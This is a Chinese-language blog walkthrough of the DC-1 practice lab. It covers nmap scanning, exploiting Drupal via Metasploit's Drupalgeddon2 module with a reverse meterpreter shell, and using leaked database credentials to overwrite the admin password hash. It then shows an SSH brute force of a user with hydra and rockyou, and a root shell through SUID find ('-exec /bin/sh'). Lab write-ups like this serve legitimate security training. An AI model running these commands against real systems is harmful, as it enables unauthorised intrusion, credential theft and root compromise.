前言:之前做vulhub的flask/SSTI时尝试过了提权,但是对提权不是这么熟悉,搞了很久也没成功,那篇文章上面更加具体的也未进行记录,然后找了专门练这种的,这里环境搭建就不详细介绍了,然后建议用热点,校园网配置要很久而且容易搞不出来。然后这里我VMware里面装DC-1有问题就换到VirtualBox里面了。

目录

1.信息搜集

2.漏洞查找利用

3.获取shell

4.数据库渗透

5.用户密码爆破

6.提权

7.参考文章


1.信息搜集

首先两台虚拟机都开起来,kali先转个root:

sudo -i

然后两台虚拟机选的都是桥接模式,是在同一个局域网的,因此我们首先要找到相应的存活主机,先看一下ip:

然后用nmap扫描相应网段:

nmap -s 10.254.85.0/24

-sn 参数
Ping扫描(不进行端口扫描)

以前也叫 -sP(Ping扫描)

只检测主机是否存活,不扫描端口

工作原理:发送ICMP echo请求、TCP SYN到443端口、TCP ACK到80端口、ICMP时间戳请求等

使用场景

1. 快速发现网络中的活跃主机

2. 网络资产盘点

  • 统计网络中有多少设备在线

  • 识别设备类型(通过MAC地址厂商前缀)

3. 渗透测试前期侦查

  • 先快速找出存活主机

  • 再对存活主机进行详细扫描(如 -sV)

这里关键的就是之前我们在VirtualBox里开的DC-1了,这里对ip直接进行了标注,那么下一步就是对端口和服务进行探测:

nmap -sV -p- 10.254.85.163

-p- 参数
扫描所有65535个端口(1-65535)
不加这个默认只扫描1000个常用端口
- 是端口范围的简写,等同于 -p 1-65535

完整组合 -sV -p-
全面端口扫描 + 服务版本识别
检查目标的所有端口,并识别每个开放端口上的服务类型和版本

端口 服务 版本 用途
22/tcp SSH OpenSSH 6.0p1 Debian 远程登录入口
80/tcp HTTP Apache 2.2.22 Web服务器(Drupal网站)
111/tcp rpcbind 2-4 RPC端口映射
45369/tcp status RPC #100024 RPC状态服务

然后这里有个问题就是为什么还要扫端口,我直接拿这个ip找浏览器看一下不是也可以吗,这里需要关注的点如下:

IP地址 ≠ 网站服务

  • IP地址就像一栋大楼的地址

  • 端口就像大楼里的不同房间/办公室

  • 直接访问IP相当于:到了大楼门口,但不知道去哪个房间

端口扫描就像进屋前先侦察:

  • 看看有几个门(端口)

  • 每个门是干什么的(服务)

  • 哪个门可能没锁(漏洞)

直接访问IP,就像只走正门,可能错过:

  • 没锁的后门

  • 半开的窗户

  • 通风管道

所以在渗透测试中,先扫描再访问是标准流程,但是当我们后面用浏览器打开时并没有端口号,这是因为浏览器和网络协议有默认端口约定

协议 默认端口 访问方式
HTTP 80 http://10.254.85.163 (自动加:80)
HTTPS 443 https://10.254.85.163 (自动加:443)
SSH 22 ssh 10.254.85.163 (自动加:22)
FTP 21 ftp://10.254.85.163 (自动加:21)

知道了这些后我们进火狐访问一下这个ip:

很明显能看出来该网站CMS为Drupal,如果有插件wappalyzer就更直接了,我们可以看一下源代码:

或者指纹识别一下,也是kali自带的,这里就不放图了:

whatweb -v 10.254.85.163

2.漏洞查找利用

使用工具metasploit对框架漏洞进行查看利用:

# 启动msfconsole
msfconsole

# 在msf中搜索drupal相关漏洞
search drupal

这里看到有很多框架漏洞,那么问题现在就变到怎么选上面了,一般的话是选择等级最高的漏洞模块并且时间最新:

考虑因素 说明 为什么重要
目标系统年份 DC-1靶机基于Drupal 7,但具体版本未知 太老的漏洞(2014年)可能已被修补
漏洞覆盖面 Drupalgeddon2影响所有7.x版本 < 7.58 只要目标低于7.58就能打,不管小版本号
利用可靠性 Rank: excellent(成功率最高) 减少失败尝试,一次成功
利用复杂度 无需认证,远程直接RCE 最简单的利用方式

为什么排除其他选项:

  1. 2014年的漏洞:太老了,可能已被修复,且需要特定模块开启

  2. 2015年的漏洞:需要普通用户权限,不能匿名直接打

  3. 2019年的漏洞:需要目标开启REST服务(默认不开)

  4. 2018年的Drupalgeddon2完美符合条件 - 影响广、无需配置、直接RCE

再附个等级图:

manual      → 需要大量手动操作
low         → 成功率低,条件苛刻
normal      → 常规漏洞
good        → 可靠性较好
great       → 非常可靠
excellent   → 绝不会导致服务崩溃,成功率极高

因此我们这里选择2018的漏洞:

use 1    #编号1是我们选择的漏洞模块
 
或者:
 
use exploit/unix/webapp/drupal_drupalgeddon2    #使用漏洞名称

翻译一下:

我们没有指定使用什么payload(攻击成功后发送什么类型的shell)

Metasploit自动帮你选择了默认的payload

默认是:php/meterpreter/reverse_tcp

然后这里的show options是查看漏洞模块:

参数 含义 需要设置的值
RHOSTS 目标IP地址 10.254.85.163
LHOST Kali IP地址 本机IP(用ip addr查看)
LPORT 监听端口 4444(或其他未用端口)
RPORT 目标端口 80(默认正确)
TARGETURI Drupal路径 /(默认正确)

Current Setting是目前设置的内容

Required表示是否需要设置内容,yes为必须设置,no可以设置也可不设置

就上面来说RHOSTS需要set,但是没有内容

那么我们就设置一下:

set RHOSTS 10.254.85.163

后面再show一下看看结果

然后我们进行攻击:

run

相关的解释如下:

1.反向连接建立
bash
[*] Started reverse TCP handler on 10.254.85.177:4444

2. 漏洞检测结果
bash
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated.
[!] 是警告符号,但这里不是错误
意思是:自动检测无法100%确认漏洞存在
但Metasploit还是尝试攻击了(因为check有时不准)

3. 成功拿下shell
bash
[*] Sending stage (42137 bytes) to 10.254.85.163
[*] Meterpreter session 1 opened (10.254.85.177:4444 -> 10.254.85.163:59880)
Meterpreter payload(42137字节)成功发送到靶机
建立了从靶机:59880端口 → Kali:4444端口的连接
Session 1:第一个会话成功建立

然后可能有师傅会有疑问为啥run一下就拿到shell了,这个涉及到的就更深层次了,简单来说就是Metasploit构造了一个特殊的HTTP请求(攻击载荷),Drupal在处理这个请求时,因为Drupalgeddon2漏洞没有正确过滤用户输入,把恶意代码当成了合法的PHP函数来执行【即反弹shell】,反向连接到了我们的端口上


3.获取shell

会话成功建立后我们先获取shell普通权限【也就是获得目标服务器的命令行控制界面】

但是这个只能执行一些最基本的命令:

为了获得更加舒适的体验,我们需要交互式shell,即利用python实现交互:

python -c 'import pty; pty.spawn("/bin/bash")'

第一部分:import pty
导入pty模块(伪终端模块)
pty = Pseudo-Terminal(伪终端)

第二部分:pty.spawn("/bin/bash")
创建一个新的交互式bash shell
这个新shell拥有完整的终端功能

然后我们tac一下flag1.txt:

这里就提示说要找相应的配置文件:

//  /www 路径下ls发现sites
cd site

//再在该目录下ls发现default
cd default

可以看到有settings.php,那么我们就访问一下:

这里直接给出了数据库有关的数据,然后flag2中说要进行权限提升,那么接下来就是对数据库的渗透


4.数据库渗透

mysql -udbuser -pR0ck3t

连接数据库,注意-p之后没有空格直接跟账户的密码

那么就查看一下数据库一些基本的信息,如对命令行不清楚的可移步我之前的文章:

SQL注入前置--MySQL增删改

show databases;

进入Drupal数据库

use drupaldb;

查看所有表

show tabales;

这里就发现了一个特殊的users表

select * from users; 

//查看users表中的所有数据

这里就显示了相应的账户和密码,但是这里很明显是被加密过的,因此我们需要对密码进行修改,先退出去:

exit;

然后再回到原来的目录:

cd ../../

然后这里其实有一个路径看着很可以就是script,可以转到该路径下看下相关文件有哪些:

cd scripts

ls

这里就能看到有一个叫password-hash.sh的文件,我们可以访问一下:

cat password-hash.sh

这里的意思就是输入一个或多个明文密码,脚本会输出对应的密码哈希值这个哈希值可以手动填入数据库的users表的pass字段,这样就可以通过SQL把密码改成我们知道的值,然后这里上面那段的意思是如果不加root,那么必须在根目录下运行【/var/www】

这个脚本是用php写的,而且还能用php加参数运行,直接得到加密后的密码,这里我们设置一个密码123456 :

php /var/www/scripts/password-hash.sh 123456

得到加密后的密文后我们再回到数据库进行修改:

UPDATE users SET pass = '$S$DwR70frRmP7YZr/t0OEE/99SLI8KmsJsvBekENafeBL/HTMvrzLH' WHERE uid = 1;  

//我们可以再查看一下:
select uid,name,pass from users where uid=1;

那么这样就能回到网站的登录界面进行登录了【注意密码是123456】

进去之后我们找到content中的内容:

再点开flag3可以看到相应提示:

这里的意思就是让我们进行提权


5.用户密码爆破

 先查看一下用户信息:

tac /etc/passwd

/etc/passwd 是Linux系统中存储用户账户信息的文本文件。每当创建一个用户,就会在这个文件里添加一行记录

文件内容格式

每一行代表一个用户,用冒号(:)分成7个字段:

用户名:密码占位符:用户ID:组ID:用户描述:家目录:登录Shell
字段位置 名称 含义 例子
1 用户名 登录时使用的名字 rootwww-dataflag4
2 密码占位符 x表示密码在/etc/shadow x
3 用户ID(UID) 0是root,1-999系统用户,1000+普通用户 0331001
4 组ID(GID) 用户所属主组的ID 0331001
5 用户描述 用户全名或备注 rootwww-data,,,
6 家目录 用户的home目录 /root/var/www/home/flag4
7 登录Shell 登录后使用的shell /bin/bash/usr/sbin/nologin

这里看到flag4,正常肯定是看不了的,得提权或者进行爆破,这里讲一下爆破:

因为之前扫端口的时候可以看到有22.即ssh,那么我们可以尝试用ssh进行登录,登录命令的话也比较简单: ssh 客户端用户名@服务器ip地址 (注意这里是直接远程连接了,要输入密码进行登录,所以我们先不登陆爆破一下密码)

ssh flag4@10.254.85.163

使用hydra工具来爆破flag4的密码,这里新开一个kali终端进行爆破:

hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://10.254.85.163 -t 16 -Vv -f
参数 含义 作用
-l flag4 小写L,指定用户名 要爆破的用户是 flag4
-P 大写P,指定密码字典 使用 rockyou.txt.gz 这个密码列表
-t 16 线程数 同时开16个连接并行爆破,速度更快
-Vv 显示详情 V大写显示每个尝试,v小写显示详细信息
-f 找到后停止 一旦找到正确密码就结束,省时间

得到用户的密码--orange

然后我们再按上面写的进行登录:

然后再看一眼:

提示用户通过SUID提权(尤其是利用find命令)获取root权限,进而访问根目录下的flag文件


6.提权

最终提权的话一下SUID权限【当一个普通用户执行这个程序时,临时拥有程序所有者的权限】的文件

find / -perm -u=s -type f 2>/dev/null

因为find命令比较常见就用find来执行root权限命令:

1.输入
find / -name index.php -exec "/bin/sh" \;

2. find程序开始运行(因为有SUID,以root权限)

3. find在文件系统中找 index.php

4. 一旦找到 index.php,find说:
   "好的,我找到文件了(具体文件名只要存在就行,不存在的话-exec就无法执行),现在执行 -exec 后面的命令"

5. find以root权限执行:/bin/sh   (\; 是 -exec 命令的结束符,不加会报错)

6. 获得了一个root权限的shell

然后就是看我们是否提权成功,whoami    cd /root都行:

最后在root目录下找到最终的flag文件:

Well Done!


7.参考文章

DC-1靶场搭建及渗透实战 超详细 过程

新手的第一次DC-5靶场渗透实战过程

感谢师傅的无偿分享!

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐